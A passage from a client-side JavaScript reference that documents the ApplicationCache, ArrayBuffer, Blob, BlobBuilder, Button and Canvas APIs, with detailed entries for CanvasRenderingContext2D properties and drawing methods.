Table
TableCell
TableRow
TableSection
Text
TextArea
TextMetrics
TimeRanges
TypedArray
URL
Video
WebSocket
Window
Worker
WorkerGlobalScope
WorkerLocation
WorkerNavigator
XMLHttpRequest
XMLHttpRequestUpload

Client-Side JavaScript Reference

ApplicationCache

application cache management API | EventTarget

The ApplicationCache object is the value of the `applicationCache` property of the Window object. It defines an API for managing updates to cached applications. For simple cached applications, there is no need to use this API: it is sufficient to create (and update, as needed) an appropriate cache manifest, as described in §20.4. More complex cached applications that want to more actively manage updates can use the properties, methods, and event handlers described here. See §20.4.2 for more details.

Constants

The following constants are the possible values of the `status` property.

`unsigned short` **`UNCACHED`** `= 0`
: This application does not have a `manifest` attribute: it is not cached.

`unsigned short` **`IDLE`** `= 1`
: The manifest has been checked and this application is cached and up-to-date.

`unsigned short` **`CHECKING`** `= 2`
: The browser is currently checking the manifest file.

`unsigned short` **`DOWNLOADING`** `= 3`
: The browser is downloading and caching files listed in the manifest.

`unsigned short` **`UPDATEREADY`** `= 4`
: A new version of the application has been downloaded and cached.

`unsigned short` **`OBSOLETE`** `= 5`
: The manifest no longer exists and the cache will be deleted.

Properties

`readonly unsigned short` **`status`**
: This property describes the cache status of the current document. Its value will be one of the constants listed above.

Methods

`void swapCache()`

When the `status` property is `UPDATEREADY`, the browser is maintaining two cached versions of the application: files are being served from the old version of the cache, and the new version is freshly downloaded and ready for use when the application is next reloaded. You can call `swapCache()` to tell the browser to immediately discard the old cache and begin serving files from the new cache. Note, however, that this can lead to version skew issues, and a safer way to flush the old cache and begin using the new one is to reload the application with `Location.reload()`.

`void update()`

Normally, the browser checks for a new version of the manifest file for a cached application each time the application is loaded. Long-lived web apps can use this method to check for updates more frequently.

Event Handlers

The browser fires a sequence of events on the ApplicationCache during the manifest check and cache update process. You can use the following event handler properties of the ApplicationCache object to register event handlers, or you can use the `EventTarget` methods implemented by the ApplicationCache object. Handlers for most of these events are passed a simple Event object. Handlers for progress events, however, are passed a `ProgressEvent` object, which can be used to track how many bytes have been downloaded.

`oncached`
: Triggered when an application has cached for the first time. This will be the last event in the sequence of events.

`onchecking`
: Triggered when the browser begins checking the manifest file for updates. This is the first event in any sequence of application cache events.

`ondownloading`
: Triggered when the browser begins downloading the resources listed in a manifest file, either the first time the application is cached or when there is an update. This event will generally be followed by one or more progress events.

`onerror`
: Triggered when an error occurs during the cache update process. This can occur if the browser is offline, for example, or if an uncached application references a nonexistent manifest file.

`onnoupdate`
: Triggered when the browser determines that the manifest has not changed and the cached application is current. This is the last event in the sequence.

`onobsolete`
: Triggered when the manifest file for a cached application no longer exists. This causes the cache to be deleted. This is the last event in the sequence.

`onprogress`
: Triggered periodically while the application files are being downloaded and cached. The event object associated with this event is a `ProgressEvent`.

`onupdateready`
: Triggered when a new version of the application has been downloaded and cached (and is ready for use the next time the application is loaded). This is the last event in the sequence.

ArrayBuffer

a fixed-length sequence of bytes

An ArrayBuffer represents a fixed-length sequence of bytes in memory, but it defines no way to get or set those bytes. `ArrayBufferView`s like the `TypedArray` classes provide a way to access and interpret the bytes.

Constructor

```
new ArrayBuffer(unsigned long length)
```

Creates a new ArrayBuffer with the specified number of bytes. All bytes in the new ArrayBuffer are initialized to 0.

Properties

`readonly unsigned long` **`byteLength`**
: the length, in bytes, of the ArrayBuffer.

ArrayBufferView

common properties for types based on ArrayBuffers

ArrayBufferView serves as a superclass for types that provide access to the bytes of an `ArrayBuffer`. You can't create an ArrayBufferView directly: it exists to define the common properties for subtypes like `TypedArray` and `DataView`.

Properties

`readonly ArrayBuffer` **`buffer`**
: The underlying ArrayBuffer that this object is a view of.

`readonly unsigned long` **`byteLength`**
: The length, in bytes, of the portion of `buffer` that is accessible through this view.

`readonly unsigned long` **`byteOffset`**
: The starting position, in bytes, of the portion of the buffer that is accessible through this view.

Attr

an element attribute

An Attr object represents an attribute of an Element node. You can obtain an Attr object through the `attributes` property of the Node interface or by calling the `getAttributeNode()` or `getAttributeNodeNS()` methods of the Element interface.

Since attribute values can be completely represented by strings, it is not usually necessary to use the Attr interface at all. In most cases, the easiest way to work with attributes is with the `Element.getAttribute()` and `Element.setAttribute()` methods. These methods use strings for attribute values and avoid the use of Attr objects altogether.

Properties

`readonly string` **`localName`**
: The name of the attribute, not including any namespace prefix.

`readonly string` **`name`**
: The name of the attribute, including the namespace prefix, if there is one.

`readonly string` **`namespaceURI`**
: The URI that identifies the attribute's namespace, or `null` if it doesn't have one.

`readonly string` **`prefix`**
: The namespace prefix of the attribute, or `null` if it doesn't have one.

`string` **`value`**
: The value of the attribute.

Audio

an HTML <audio> element — Node, Element, MediaElement

An Audio object represents an HTML `<audio>` element. Except for its constructor, an Audio object has no properties, methods or event handlers other than those inherited from `MediaElement`.

Constructor

`new` **`Audio`**`([string` *`src`*`])`

This constructor creates a new `<audio>` element with a `preload` attribute set to "auto". If the *`src`* argument is specified, it is used as the value of the `src` attribute.

BeforeUnloadEvent

Event object for unload events — Event

The unload event is triggered on a Window object just before the browser navigates to a new document, and gives a web application the opportunity to ask the user if he is really sure he wants to leave the page. The object passed to unload event handler functions is a

BeforeUnloadEvent object. If you want to require the user to confirm that he really wants to leave the page, you do not need to, and should not, call the `Window.confirm()` method. Instead, return a string from the event handler or set the `returnValue` of this event object to a string. The string you return or set will be presented to the user in the confirmation dialog the user sees.

See also `Event` and `Window`.

Properties

`string` **`returnValue`**
: A message to be displayed to the user in a confirmation dialog before navigating away from the page. Leave this property unset if you do not want to display a confirmation dialog.

Blob

an opaque chunk of data, such as file contents

A Blob is an opaque type used to exchange data between APIs. Blobs may be very large and may represent binary data, but neither is required. Blobs are often stored in files, but this is an implementation detail. Blobs expose only their size and, optionally, a MIME type, and they define a single method for treating a region of a Blob as a Blob.

A number of APIs use Blobs: see `FileReader` for a way to read the content of a Blob and `BlobBuilder` for a way to create new Blob objects. See `XMLHttpRequest` for ways to download and upload Blobs. See §22.6 for discussion of Blobs and the APIs that use them.

Properties

`readonly unsigned long` **`size`**
: The length, in bytes, of the Blob.

`readonly string` **`type`**
: The MIME type of the Blob, if it has one, or the empty string otherwise.

Methods

`Blob` **`slice`**`(unsigned long` *`start`*`, unsigned long` *`length`*`, [string` *`contentType`*`])`

Return a new Blob that represents the *`length`* bytes of this Blob starting at offset *`start`*. If *`contentType`* is specified, it will be used as the `type` property of the returned Blob

BlobBuilder

create new Blobs

A BlobBuilder object is used to create new `Blob` objects out of strings of text and bytes from `ArrayBuffer` objects and other Blobs. To build a Blob, create a BlobBuilder, call `append()` one or more times, and then call `getBlob()`.

Constructor

```
new BlobBuilder()
```

Create a new BlobBuilder by calling the `BlobBuilder()` constructor with no arguments.

Methods

```
void append(string text, [string endings])
```

Appends the specified *`text`*, encoded using UTF-8, to the Blob that is being built.

```
void append(Blob data)
```

Append the content of the Blob *`data`* to the Blob that is being built.

```
void append(ArrayBuffer data)
```

Append the bytes of the ArrayBuffer *`data`* to the Blob that is being built.

```
Blob getBlob([string contentType])
```

Return a Blob that represents all the data that has been appended to this BlobBuilder since it was created. Each call to this method returns a new Blob. If *`contentType`* is specified, it will be the value of the `type` property of the returned Blob. If unspecified, the returned Blob will have the empty string as its `type`.

Button

an HTML <button> — Node, Element, FormControl

A Button object represents an HTML `<button>` element. Most of the properties and methods of Buttons are described in `FormControl` and `Element`. When a Button has a `type` property (see `FormControl`) "submit", however, the other properties listed here specify form submission parameters that override similar properties on the Button's `form` (see `FormControl`).

Properties

The following properties are meaningful only when the `<button>` has a `type` of "submit".

`string` **`formAction`**
: This property mirrors the `formaction` HTML attribute. For submit buttons, it overrides the `action` property of the form.

`string` **`formEnctype`**
: This property mirrors the `formenctype` HTML attribute. For submit buttons, it overrides the `enctype` property of the form and has the same legal values as that property.

`string` **`formMethod`**
: This property mirrors the `formmethod` HTML attribute. For submit buttons, it overrides the `method` property of the form.

`string` **`formNoValidate`**
: This property mirrors the `formnovalidate` HTML attribute. For submit buttons, it overrides the `noValidate` property of the form.

`string` **`formTarget`**

This property mirrors the `formtarget` HTML attribute. For submit buttons, it overrides the `target` property of the form.

Canvas

an HTML element for scripted drawing — Node, Element

The Canvas object represents an HTML canvas element. It has no behavior of its own, but it defines an API that supports scripted client-side drawing operations. You can specify the `width` and `height` directly on this object, and you can extract an image from the canvas with `toDataURL()`, but the actual drawing API is implemented by a separate "context" object returned by the `getContext()` method. See `CanvasRenderingContext2D`.

Properties

`unsigned long` **`height`**
`unsigned long` **`width`**

These properties mirror the `width` and `height` attributes of the `<canvas>` tag and specify the dimensions of the canvas coordinate space. The defaults are 300 for `width` and 150 for `height`.

If the size of the canvas element is not otherwise specified in a stylesheet or with the inline `style` attribute, these `width` and `height` properties also specify the on-screen dimensions of the canvas element.

Setting either of these properties (even setting it to its current value) clears the canvas to transparent black and resets all of its graphics attributes to their default values.

Methods

`object` **`getContext`**`(string` *`contextId`*`, [any` *`args`*`...])`

This method returns an object with which you can draw into the Canvas element. When you pass the string "2d", it will return a CanvasRenderingContext2D object for 2D drawing. No additional *`args`* are required in this case.

There is only one CanvasRenderingContext2D object per canvas element, so repeated calls to `getContext("2d")` return the same object.

HTML5 standardizes the "2d" argument to this method and defines no other valid arguments. A separate standard, WebGL, is under development for 3D graphics. In browsers that support it, you can pass the string "webgl" to this method to obtain an object that allows 3D rendering. Note, however, that the CanvasRenderingContext2D object is the only drawing context documented in this book.

`string` **`toDataURL`**`([string` *`type`*`], [any` *`args`*`...])`

`toDataURL()` returns the contents of the canvas bitmap as a `data:// URL` that can easily be used with an `<img>` tag or transmitted across the network. For example:

```
// Copy the content of a canvas into an <img> and append to the document
var canvas = document.getElementById("my_canvas");
```

```
var image = document.createElement("img");
image.src = canvas.toDataURL();
document.body.appendChild(image);
```

The *type* argument specifies the MIME type of the image format to use. If this argument is omitted, the default value is "image/png". The PNG image format is the only one that implementations are required to support. For image types other than PNG, additional arguments may be passed to specify encoding details. If *type* is "image/jpeg", for example, the second argument should be a number between 0 and 1 specifying the image quality level. No other parameter arguments are standardized at the time of this writing.

To prevent cross-origin information leaks, `toDataURL()` does not work on `<canvas>` tags that are not "origin-clean." A canvas is not origin-clean if it has ever had an image drawn in it (directly by `drawImage()` or indirectly through a CanvasPattern) that has a different origin than the document that contains the canvas. Also, a canvas is not origin-clean if it has ever had text drawn to it using a web font from a different origin.

CanvasGradient

a color gradient for use in a canvas

A CanvasGradient object represents a color gradient that can be assigned to both the `strokeStyle` and `fillStyle` properties of a CanvasRenderingContext2D object. The `createLinearGradient()` and `createRadialGradient()` methods of CanvasRenderingContext2D both return CanvasGradient objects.

Once you have created a CanvasGradient object, use `addColorStop()` to specify what colors should appear at what positions within the gradient. Between the positions you specify, colors are interpolated to create a smooth gradient or fade. If you specify no color stops, the gradient will be uniform transparent black.

Methods

```
void addColorStop(double offset, string color)
```

`addColorStop()` specifies fixed colors within a gradient. *color* is a CSS color string. *offset* is a floating-point value in the range 0.0 to 1.0 that represents a fraction between the start and end points of the gradient. An offset of 0 corresponds to the start point, and an offset of 1 corresponds to the end point.

If you specify two or more color stops, the gradient will smoothly interpolate colors between the stops. Before the first stop, the gradient will display the color of the first stop. After the last stop, the gradient will display the color of the last stop. If you specify only a single stop, the gradient will be one solid color. If you specify no color stops, the gradient will be uniform transparent black.

CanvasPattern

an image-based pattern for use in a Canvas

A CanvasPattern object is an opaque object returned by the `createPattern()` method of a CanvasRenderingContext2D object. A CanvasPattern object can be used as the value of the `strokeStyle` and `fillStyle` properties of a CanvasRenderingContext2D object.

CanvasRenderingContext2D

the object used for drawing on a canvas

The CanvasRenderingContext2D object provides properties and methods for drawing two-dimensional graphics. The following sections provide an overview. See §21.4, `Canvas`, `CanvasGradient`, `CanvasPattern`, `ImageData`, and `TextMetrics` for further details.

Creating and rendering paths

A powerful feature of the canvas is its ability to build shapes up from basic drawing operations, then either draw their outlines (*stroke* them) or paint their contents (*fill* them). The operations accumulated are collectively referred to as the *current path*. A canvas maintains a single current path.

In order to build a connected shape out of multiple segments, a joining point is needed between drawing operations. For this purpose, the canvas maintains a *current position*. The canvas drawing operations implicitly use this as their start point and update it to what is typically their end point. You can think of this like drawing with a pen on paper: when finishing a particular line or curve, the current position is where the pen rested after completing the operation.

You can create a sequence of disconnected shapes in the current path that will be rendered together with the same drawing parameters. To separate shapes, use the `moveTo()` method; this moves the current position to a new location without adding a connecting line. When you do this, you create a new *subpath*, which is the canvas term used for a collection of operations that are connected.

The available path operations are `lineTo()` for drawing straight lines, `rect()` for drawing rectangles, `arc()` and `arcTo()` for drawing partial circles, and `bezierCurveTo()` and `quadraticCurveTo()` for drawing curves.

Once the path is complete, you can draw its outline with `stroke()`, paint its contents with `fill()`, or do both.

In addition to stroking and filling, you can also use the current path to specify the *clipping region* the canvas uses when rendering. Pixels inside this region are displayed; those outside are not. The clipping region is cumulative; calling `clip()` intersects the current path with the current clipping region to yield a new region.

If the segments in any of the subpaths do not form a closed shape, `fill()` and `clip()` operations implicitly close them for you by adding a virtual (not visible with a stroke) line segment

from the start to the end of the subpath. Optionally, you can call `closePath()` to explicitly add this line segment.

To test whether a point is inside (or on the boundary of) the current path, use `isPointInPath()`. When a path intersects itself or consists of multiple overlapping subpaths, the definition of "inside" is based on the nonzero winding rule. If you draw a circle inside another circle and both circles are drawn in the same direction, everything inside the larger circle is considered inside the path. If, on the other hand, one circle is drawn clockwise and the other counterclockwise, you have defined a donut shape and the interior of the smaller circle is outside of the path. This same definition of insideness is used by the `fill()` and `clip()` methods.

Colors, gradients, and patterns

When filling or stroking paths, you can specify how the lines or filled area are rendered using the `fillStyle` and `strokeStyle` properties. Both accept CSS-style color strings, as well as CanvasGradient and CanvasPattern objects that describe gradients and patterns. To create a gradient, use the `createLinearGradient()` or `createRadialGradient()` methods. To create a pattern, use `createPattern()`.

To specify an opaque color using CSS notation, use a string of the form "#RRGGBB", where RR, GG, and BB are hexadecimal digits that specify the red, green, and blue components of the color as values between 00 and FF. For example, bright red is "#FF0000". To specify a partially transparent color, use a string of the form "rgba(R,G,B,A)". In this form, R, G, and B specify the red, green, and blue components of the color as decimal integers between 0 and 255, and A specifies the alpha (opacity) component as a floating-point value between 0.0 (fully transparent) and 1.0 (fully opaque). For example, half-transparent bright red is "rgba(255,0,0,0.5)".

Line width, line caps, and line joins

Canvas defines several properties that specify how lines are stroked. You can specify the width of the line with the `lineWidth` property, how the end points of lines are drawn with the `lineCap` property, and how lines are joined using the `lineJoin` property.

Drawing rectangles

You can outline and fill rectangles with `strokeRect()` and `fillRect()`. In addition, you can clear the area defined by a rectangle with `clearRect()`.

Drawing images

In the Canvas API, images are specified using Image objects that represent HTML `<img>` elements or offscreen images created with the `Image()` constructor. (See the `Image` reference page for details.) A `<canvas>` element or `<video>` element can also be used as an image source.

You can draw an image into a canvas with the `drawImage()` method, which, in its most general form, allows an arbitrary rectangular region of the source image to be scaled and rendered into the canvas.

Drawing Text

The `fillText()` method draws text and the `strokeText()` method draws outlined text. The `font` property specifies the font to use; the value of this property should be a CSS font specification string. The `textAlign` property specifies whether text is left-justified, centered, or right-justified on the X coordinate you pass, and the `textBaseline` property specifies where the text is drawn in relation to the Y coordinate you pass.

Coordinate space and transformations

By default, the coordinate space for a canvas has its origin at `(0,0)` in the upper left corner of the canvas, with *x* values increasing to the right and *y* values increasing down. The `width` and `height` attributes of the `<canvas>` tag specify the maximum X and Y coordinates, and a single unit in this coordinate space normally translates to a single on-screen pixel.

You can define your own coordinate space and the coordinates you pass to the canvas drawing methods will automatically be transformed. This is done with the `translate()`, `scale()`, and `rotate()` methods, which affect the *transformation matrix* of the canvas. Because the coordinate space can be transformed like this, the coordinates you pass to methods such as `lineTo()` cannot be measured in pixels and the Canvas API uses floating-point numbers instead of integers.

Shadows

CanvasRenderingContext2D can automatically add a drop shadow to anything you draw. The color of the shadow is specified with `shadowColor`, and its offset is changed using `shadowOffsetX` and `shadowOffsetY`. In addition, the amount of feathering applied to the shadow's edge can be set with `shadowBlur`.

Compositing

Usually, when you draw on a canvas, the newly drawn graphics appear on top of the previous content of the canvas, partially or fully obscuring the old content, depending on the opacity of the new graphics. The process of combining new pixels with old pixels is called "compositing" and you can alter the way the canvas composites pixels by specifying different values for the `globalCompositeOperation` property. For example, you can set this property so that newly drawn graphics appear underneath the existing content.

The following table lists the allowed property values and their meanings. The word *source* in the table refers to the pixels being drawn onto the canvas, and the word *destination* refers to the existing pixels on the canvas. The word *`result`* refers to the pixels that result from the combination of the source and destination. In the formulas, the letter `S` is the source pixel, `D` is the destination pixel, `R` is the result pixel, α_s is the alpha channel (the opacity) of the source pixel, and α_d is the alpha channel of the destination:

Value	Formula	Meaning
`"copy"`	`R = S`	Draws the source pixel, ignoring the destination pixel.
`"destination-atop"`	$R=(1-\alpha_d)S + \alpha_s D$	Draw the source pixel underneath the destination. If the source is transparent, the result is also transparent.

Value	Formula	Meaning
"destination-in"	$R = \alpha_s D$	Multiply the destination pixel by the opacity of the source pixel, but ignore the color of the source.
"destination-out"	$R = (1-\alpha_s)D$	The destination pixel is made transparent when the source is opaque and is left unchanged when the source is transparent. The color of the source pixel is ignored.
"destination-over"	$R = (1-\alpha_d)S + D$	The source pixel appears behind the destination pixel, showing through based on the transparency of the destination.
"lighter"	$R = S + D$	The color components of the two pixels are simply added together and clipped if the sum exceeds the maximum value.
"source-atop"	$R=\alpha_d S + (1-\alpha_s)D$	Draw the source pixel on top of the destination but multiply it by the opacity of the destination. Don't draw anything over a transparent destination.
"source-in"	$R = \alpha_d S$	Draw the source pixel, but multiply it by the opacity of the destination. The color of the destination is ignored. If the destination is transparent, the result is transparent, too.
"source-out"	$R = (1-\alpha_d)S$	The result is the source pixel where the destination is transparent and transparent pixels where the destination is opaque. The color of the destination is ignored.
"source-over"	$R = S + (1-\alpha_s)D$	The source pixel is drawn on top of the destination pixel. If the source is translucent, the destination pixel contributes to the result. This is the default value of the `globalCompositeOperation` property.
"xor"	$R = (1-\alpha_d)S + (1-\alpha_s)D$	If the source is transparent, the result is the destination. If the destination is transparent, the result is the source. If source and destination are both transparent or both opaque, the result is transparent.

Saving graphics state

The `save()` and `restore()` methods allow you to save and restore the state of a CanvasRenderingContext2D object. `save()` pushes the current state onto a stack, and `restore()` pops the most recently saved state off the top of the stack and sets the current drawing state based on those stored values.

All properties of the CanvasRenderingContext2D object (except for the `canvas` property, which is a constant) are part of the saved state. The transformation matrix and clipping region are also part of the state, but the current path and current point are not.

Manipulating Pixels

The `getImageData()` method allows you to query the raw pixels of a canvas, and `putImageData()` allows you to set individual pixels. These can be useful if you want to implement image processing operations in JavaScript.

Properties

`readonly Canvas` **`canvas`**
The Canvas element upon which this context will draw.

`any` **`fillStyle`**
The current color, pattern, or gradient used for filling paths. This property can be set to a CSS color string or to a CanvasGradient or CanvasPattern object. The default fill style is solid black.

`string` **`font`**
The font to be used by text-drawing methods, specified as a string, using the same syntax as the CSS `font` attribute. The default is "10px sans-serif". If the font string uses font size units like "em" or "ex" or uses relative keywords like "larger", "smaller", "bolder", or "lighter", these are interpreted relative to the computed style of the CSS font of the `<canvas>` element.

`double` **`globalAlpha`**
Specifies additional transparency to be added to everything drawn on the canvas. The alpha value of all pixels drawn on the canvas is multiplied by the value of this property. The value must be a number between 0.0 (makes everything completely transparent) and 1.0 (the default: adds no additional transparency).

`string` **`globalCompositeOperation`**
This property specifies how source pixels being rendered onto the canvas are combined (or "composited") with the destination pixels that already exist in the canvas. This property is typically only useful when you are working with partially transparent colors or have set the `globalAlpha` property. The default value is "source-over". Other commonly used values are "destination-over" and "copy". See the table of legal values above. Note that at the time of this writing, browsers have differing implementations of certain compositing modes: some composite locally and some composite globally. See §21.4.13 for details.

`string` **`lineCap`**
The `lineCap` property specifies how lines should be terminated. It matters only when drawing wide lines. Legal values for this property are listed in the following table. The default value is "butt".

Value	Meaning
`"butt"`	This default value specifies that the line should have no cap. The end of the line is straight and is perpendicular to the direction of the line. The line is not extended beyond its endpoint.
`"round"`	This value specifies that lines should be capped with a semicircle whose diameter is equal to the width of the line and which extends beyond the end of the line by one half the width of the line.
`"square"`	This value specifies that lines should be capped with a rectangle. This value is like "butt", but the line is extended by half of its width.

`string` **`lineJoin`**

When a path includes vertices where line segments and/or curves meet, the `lineJoin` property specifies how those vertices are drawn. The effect of this property is apparent only when drawing with wide lines.

The default value of the property is "miter", which specifies that the outside edges of the two line segments are extended until they intersect. When two lines meet at an acute angle, mitered joins can become quite long. The `miterLimit` property places an upper bound on the length of a miter. If a miter would exceed this limit, it is converted to a bevel.

The value "round" specifies that the outside edges of the vertex should be joined with a filled arc whose diameter is equal to the width of the line. The value "bevel" specifies that the outside edges of the vertex should be joined with a filled triangle.

`double` **`lineWidth`**

Specifies the line width for stroking (line drawing) operations. The default is 1. Lines are centered over the path, with half of the line width on each side.

`double` **`miterLimit`**

When lines are drawn with the `lineJoin` property set to "miter" and two lines meet at an acute angle, the resulting miter can be quite long. When miters are too long, they become visually jarring. This `miterLimit` property places an upper bound on the length of the miter. This property expresses a ratio of the miter length to half the line width. The default value is 10, which means that a miter should never be longer than 5 times the line width. If a miter formed by two lines would be longer than the maximum allowed by `miterLimit`, those two lines will be joined with a bevel instead of a miter.

`double` **`shadowBlur`**

Specifies how much blur shadows should have. The default is 0, which produces crisp-edged shadows. Larger values produce larger blurs, but note that the units are not measured in pixels and are not affected by the current transform.

`string` **`shadowColor`**

Specifies the color of shadows as a CSS color string. The default is transparent black.

`double` **`shadowOffsetX`**

`double` **`shadowOffsetY`**

Specify the horizontal and vertical offset of the shadows. Larger values make the shadowed object appear to float higher above the background. The default is 0. These values are in coordinate space units and they are independent of the current transform.

`any` **`strokeStyle`**

Specifies the color, pattern, or gradient used for stroking (drawing) paths. This property can be a CSS color string or a CanvasGradient or a CanvasPattern object.

`string` **`textAlign`**

Specifies the horizontal alignment of text and the meaning of the X coordinate passed to `fillText()` and `strokeText()`. Legal values are "left", "center", "right", "start", and "end". The meaning of "start" and "end" depend on the `dir` (text direction) attribute of the `<canvas>` tag. The default is "start".

`string` **`textBaseline`**

Specifies the vertical alignment of text and the meaning of the Y coordinate passed to `fillText()` and `strokeText()`. Legal values are "top", "middle", "bottom", "alphabetic", "hanging", and "ideographic". The default is "alphabetic".

Methods

`void` **`arc`**`(double` *`x, y,radius, startAngle,endAngle,`* `[boolean` *`anticlockwise`*`])`

This method adds an arc to the current subpath of a canvas, using a center point and radius. The first three arguments to this method specify the center and radius of a circle. The next two arguments are angles that specify the start and end points of an arc along the circle. These angles are measured in radians. The three o'clock position along the positive X axis is an angle of 0, and angles increase in the clockwise direction. The final argument specifies whether the arc is traversed counterclockwise (`true`) or clockwise (`false` or omitted) along the circle's circumference.

Invoking this method adds a straight line between the current point and the start point of the arc and then adds the arc itself to the current path.

`void` **`arcTo`**`(double` *`x1, y1, x2, y2, radius`*`)`

This method adds a straight line and an arc to the current subpath and describes that arc in a way that makes it particularly useful for adding rounded corners to polygons. The arguments *`x1`* and *`y1`* specify a point P1, and the arguments *`x2`* and *`y2`* specify a point P2. The arc that is added to the path is a portion of a circle with the specified *`radius`*. The arc has one point tangent to the line from the current position to P1 and one point that is tangent to the line from P1 to P2. The arc begins and ends at these two tangent points and is drawn in the direction that connects those two points with the shortest arc. Before adding the arc to the path, this method adds a straight line from the current point to the start point of the arc. After calling this method, the current point is at the end point of the arc, which lies on the line between P1 and P2.

Given a context object `c`, you can draw a 100x100 square with rounded corners (of varying radii) with code like this:

```
c.beginPath();
c.moveTo(150, 100);          // Start in the middle of the top edge
c.arcTo(200,100,200,200,40); // Draw top edge and rounded upper right corner
c.arcTo(200,200,100,200,30); // Draw right edge and (less) rounded lower right
c.arcTo(100,200,100,100,20); // Draw bottom and rounded lower left corner
c.arcTo(100,100,200,100,10); // Draw left and rounded upper left corner
c.closePath();               // Back to the starting point.
c.stroke();                  // Draw the path
```

`void` **`beginPath`**`()`

`beginPath()` discards any currently defined path and begins a new one. There is no current point after a call to `beginPath()`.

When the context for a canvas is first created, `beginPath()` is implicitly called.

`void **bezierCurveTo**(double *cp1x, cp1y,cp2x, cp2y, x, y*)`

`bezierCurveTo()` adds a cubic Bezier curve to the current subpath of a canvas. The start point of the curve is the current point of the canvas, and the end point is `(x,y)`. The two Bezier control points `(cpX1, cpY1)` and `(cpX2, cpY2)` define the shape of the curve. When this method returns, the current position is `(x,y)`.

`void **clearRect**(double *x, y, width, height*)`

`clearRect()` fills the specified rectangle with transparent black. Unlike `rect()`, it does not affect the current point or the current path.

`void **clip**()`

This method computes the intersection of the inside of the current path with the current clipping region and uses that (smaller) region as the new clipping region. Note that there is no way to enlarge the clipping region. If you want a temporary clipping region, you should first call `save()` so that you can later `restore()` the original clipping region. The default clipping region for a canvas is the canvas rectangle itself.

Like the `fill()` method, `clip()` treats all subpaths as closed and uses the nonzero winding rule for distinguishing the inside of the path from the outside of the path.

`void **closePath**()`

If the current subpath of the canvas is open, `closePath()` closes it by adding a line connecting the current point to the first point of the subpath. It then begins a new subpath (as if by calling `moveTo()`) at that same point.

`fill()` and `clip()` treat all subpaths as if they had been closed, so you only need to call `closePath()` explicitly if you want to `stroke()` a closed path.

`ImageData **createImageData**(ImageData *imagedata*)`

Returns a new ImageData object with the same dimensions as *`data`*.

`ImageData **createImageData**(double *w*, double *h*)`

Returns a new ImageData object with the specified width and height. All pixels within this new ImageData object are initialized to transparent black (all color components and alpha are 0).

The *`w`* and *`h`* arguments specify image dimensions in CSS pixels. Implementations are allowed to map single CSS pixels to more than one underlying device pixel. The `width` and `height` properties of the returned ImageData object specify the image dimensions in device pixels, and these values may not match the *`w`* and *`h`* arguments.

`CanvasGradient **createLinearGradient**(double *x0, y0, x1, y1*)`

This method creates and returns a new CanvasGradient object that linearly interpolates colors between the start point `(x0,y0)` and the end point `(x1,y1)`. Note that this method does not specify any colors for the gradient. Use the `addColorStop()` method of the returned object to do that. To stroke lines or fill areas using a gradient, assign a CanvasGradient object to the `strokeStyle` or `fillStyle` properties.

`CanvasPattern **createPattern**(Element *image*, string *repetition*)`

This method creates and returns a CanvasPattern object that represents the pattern defined by a tiled image. The *image* argument must be an `<img>`, `<canvas>`, or `<video>` element containing the image to be used as the pattern. The *repetition* argument specifies how the image is tiled. The possible values are:

Value	Meaning
`"repeat"`	Tile the image in both directions. This is the default.
`"repeat-x"`	Tile the image in the X dimension only.
`"repeat-y"`	Tile the image in the Y dimension only.
`"no-repeat"`	Do not tile the image; use it a single time only.

To use a pattern for stroking lines or filling areas, use a CanvasPattern object as the value of the `strokeStyle` or `fillStyle` properties.

`CanvasGradient **createRadialGradient**(double *x0, y0, r0, x1, y1, r1*)`

This method creates and returns a new CanvasGradient object that radially interpolates colors between the circumferences of the two specified circles. Note that this method does not specify any colors for the gradient. Use the `addColorStop()` method of the returned object to do that. To stroke lines or fill areas using a gradient, assign a CanvasGradient object to the `strokeStyle` or `fillStyle` properties.

Radial gradients are rendered by using the color at offset 0 for the circumference of the first circle, the color at offset 1 for the second circle, and interpolated color values at circles between the two.

`void **drawImage**(Element *image*, double *dx, dy*, [*dw, dh*])`

Copy the specified *image* (which must be an `<img>`, `<canvas>`, or `<video>` element) into the canvas with its upper left corner at `(dx,dy)`. If *dw* and *dh* are specified, the image is scaled so that it is *dw* pixels wide and *dh* pixels high.

`void **drawImage**(Element *image*, double *sx, sy, sw, sh, dx, dy, dw, dh*)`

This version of the `drawImage()` method copies a source rectangle of the specified *image* into a destination rectangle of the canvas. *image* must be an `<img>`, `<canvas>`, or `<video>` element. `(sx,sy)` specifies the upper left corner of the source rectangle within that image and *sw* and *sh* specify the width and height of the source rectangle. Note that these arguments are in CSS pixels and are not subject to transformation. The remaining arguments specify the destination rectangle into which the image should be copied: see the five-argument version of `drawImage()` for details. Note that these destination rectangle arguments are transformed by the current transformation matrix.

`void **fill**()`

`fill()` fills the current path with the color, gradient, or pattern specified by the `fillStyle` property. Any subpaths that are not closed are filled as if the `closePath()` method had been called on them. (Note, however, that this does not actually cause those subpaths to become closed.)

Filling a path does not clear the path. You can call `stroke()` after calling `fill()` without redefining the path.

When the path intersects itself or when subpaths overlap, `fill()` canvas uses the nonzero winding rule to determine which points are inside the path and which are outside. This means, for example, that if your path defines a square inside of a circle and the square's subpath winds in the opposite direction of the circle's path, the interior of the square will be outside of the path and will not be filled.

`void **fillRect**(double *x, y, width, height*)`

`fillRect()` fills the specified rectangle with the color, gradient, or pattern specified by the `fillStyle` property.

Unlike the `rect()` method, `fillRect()` has no effect on the current point or the current path.

`void **fillText**(string *text*, double *x, y*, [double *maxWidth*])`

`fillText()` draws *`text`* using the current `font` and `fillStyle` properties. The *`x`* and *`y`* arguments specify where on the canvas the text should be drawn, but the interpretation of these arguments depends on the `textAlign` and `textBaseline` properties, respectively.

If `textAlign` is `left` or is `start` (the default) for a canvas that uses left-to-right text (also the default) or `end` for a canvas that uses right-to-left text, the text is drawn to the right of the specified X coordinate. If `textAlign` is `center`, the text is horizontally centered around the specified X coordinate. Otherwise (if `textAlign` is "right", is "end" for left-to-right text, or is "start" for right-to-left text), the text is drawn to the left of the specified X coordinate.

If `textBaseline` is "alphabetic" (the default), "bottom", or "ideographic", most of the glyphs will appear above the specified Y coordinate. If `textBaseline` is "center", the text will be approximately vertically centered on the specified Y coordinate. And if `textBaseline` is "top" or "hanging", most of the glyphs will appear below the specified Y coordinate.

The optional *`maxwidth`* argument specifies a maximum width for the text. If the *`text`* would be wider than *`maxWidth`*, the text will be drawn using a smaller or more condensed version of the font instead.

`ImageData **getImageData**(double *sx, sy, sw, sh*)`

The arguments to this method are untransformed coordinates that specify a rectangular region of the canvas. The method copies the pixel data from that region of the canvas into a new ImageData object and returns that object. See `ImageData` for an explanation of how to access the red, green, blue, and alpha components of the individual pixels.

